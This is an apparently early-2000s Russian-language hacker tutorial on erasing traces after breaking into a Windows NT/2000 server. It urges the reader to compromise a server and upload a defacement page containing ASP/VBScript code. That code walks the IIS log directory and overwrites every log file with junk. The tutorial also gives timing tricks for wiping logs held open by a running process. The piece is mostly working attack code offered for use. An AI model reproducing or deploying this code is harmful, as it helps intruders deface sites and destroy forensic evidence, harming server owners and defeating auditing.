div.main {margin-left: 20pt; margin-right: 20pt}Терка логов под WinNT/Win2000.
Никто не хочет оставлять в чужой системе свои следы. Не давно у
меня родилась идея, как от них избавляться в системе WinNT/Win2000.
Некоторые могут сказать, а зачем мне это надо, если я с помощью
команды DEL могу стереть практически любой лог файл. А представтье
себе что этих файлов в системе много и вы заходили в систему не раз,
а бывает еще так что и дир-ов много в которых лежат эти самые лог
файлы, и в какой дир-е лежит нужный лог файл - неизвестно, тем более
что нужный лог файл бывает не возможно стереть из-за того что он
занят другим процессом. Так вот, сейчас вы узнаете как можно от
всего этого безобразия избавиться. Для начала ломанем какой-нить
сервер на базе WinNT/Win2000. Ломанули ? Прек- расно. Заливаем наш
deface. СТОП! Для начала, давайте его отредактируем:
<%
@Language = "VBScript" %> ' надеюсь с этим <%
Response.buffer = true %> ' все <HTML> '
понтяно <body bgcolor=black> ' <% ' начало вставки на
VBS
Function ShowFolderList(folderspec) ' Наша функция,
которая будет ' будет ползать по дирам ' в поисках жертв '
folderspec - указывает на дир ' с которого начинаем
сканить
Dim fso, f, f1, s, sf ' объявляем переменные Set
fso = CreateObject("Scripting.FileSystemObject") ' теперь мы
можем делать ' с файлами и дирами ' все что угодно
Set
f = fso.GetFolder(folderspec) ' тут мы позлаем Set sf =
f.SubFolders ' по дирам в For Each f1 in sf ' поисках
файлов Response.Write FuckFile(f1.path) ' найдя их, мы приносим
их Next ' в жертву End Function ' Response.Write
ShowFolderList("c:winntsystem32logfiles") ' типа вызываем '
функцию 'вместо c:winntsys ..... укажите свой путь до папки
с.... Function FuckFile(folderspec) ' Сейчас будем всех
убивать On Error Resume Next ' Не обращаем внимание на
возникшие ' ошибки Set fso =
CreateObject("Scripting.FileSystemObject") Set f =
fso.GetFolder(folderspec) For each filefound in f.files ' если
наши файл Set NerF = fso.CreateTextFile(filefound,True) ' то
обнуляем его ' и NerF.WriteLine("System Error 404") '
записываем в него NerF.Close ' всякий бред Next End
Function ' конец функии %> ' конец вставки на VBS <P
ALIGN=CENTER> <IMG SRC="nerf.jpg"> <br>
<br> E-mail: <a href=mailto:tANDm@NerF.ru>U wuz
hacked mail to this
E-mail</a> </P> </BODY> </HTML>
Значит
так, заливаем это все на сервер жертвы и любуемся. Во время того как
кто-то заходит на этот сервер, активизируется наш скрипт, который
изменяет лог-файлы. Для того что бы изменить лог файл который занят
процессом, просто возьмите и задефейсте сервер, за 5 мин., до смены
лог-файла процессом. После этого, можете смело зайти ( можете и не
заходить, т.к. рано или поздно, это сделает кто-нить другой =) на
страничку, и гадский лог-файл, отымеется.
Author: tANDm
|